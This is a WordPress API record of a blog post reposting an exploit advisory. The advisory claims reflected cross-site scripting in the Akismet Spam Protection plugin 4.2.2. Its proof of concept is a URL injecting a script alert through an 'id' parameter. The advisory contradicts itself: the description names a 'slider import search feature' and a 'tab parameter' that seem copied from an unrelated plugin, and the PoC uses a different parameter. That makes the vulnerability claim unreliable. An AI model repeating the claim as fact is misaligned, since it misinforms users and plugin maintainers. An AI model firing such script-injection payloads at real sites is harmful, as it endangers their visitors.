{"id":22082,"date":"2022-03-23T20:18:28","date_gmt":"2022-03-23T16:18:28","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166411\/wpasp422-xss.txt"},"modified":"2022-03-27T09:37:55","modified_gmt":"2022-03-27T05:07:55","slug":"wordpress-akismet-spam-protection-4-2-2-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-akismet-spam-protection-4-2-2-cross-site-scripting\/","title":{"rendered":"WordPress Akismet Spam Protection 4.2.2 Cross Site Scripting"},"content":{"rendered":"<pre dir=\"ltr\"><code># Exploit Title: WordPress Plugin Akismet Spam Protection v4.2.2 - Cross Site Scripting (XSS)\r\n# Date: 2022-03-22\r\n# Author: Milad karimi\r\n# Software Link: https:\/\/wordpress.org\/plugins\/akismet\r\n# Version: 4.2.2\r\n# Tested on: Windows 11\r\n# CVE: N\/A<\/code><\/pre>\n<p dir=\"ltr\">1. Description:<br \/>\nThis plugin creates a Akismet Spam Protection from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.<\/p>\n<pre dir=\"ltr\"><code><\/code><\/pre>\n<p dir=\"ltr\">2. Proof of Concept:<br \/>\nhttp:\/\/localhost\/akismet\/akismet.php?id=&lt;script&gt;alert(&#8220;test&#8221;)&lt;\/script&gt;<\/p>\n<pre dir=\"ltr\"><code><\/code><\/pre>\n<p dir=\"ltr\">\n<pre dir=\"ltr\"><code><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WordPress Plugin Akismet Spam Protection v4.2.2 &#8211; Cross Site Scripting (XSS) # Date: 2022-03-22 # Author: Milad karimi # Software Link: https:\/\/wordpress.org\/plugins\/akismet # Version: 4.2.2 # Tested on: Windows 11 # CVE: N\/A 1. Description: This plugin creates a Akismet Spam Protection from any post types. The slider import search feature and &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-22082","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22082","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=22082"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22082\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=22082"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=22082"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=22082"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}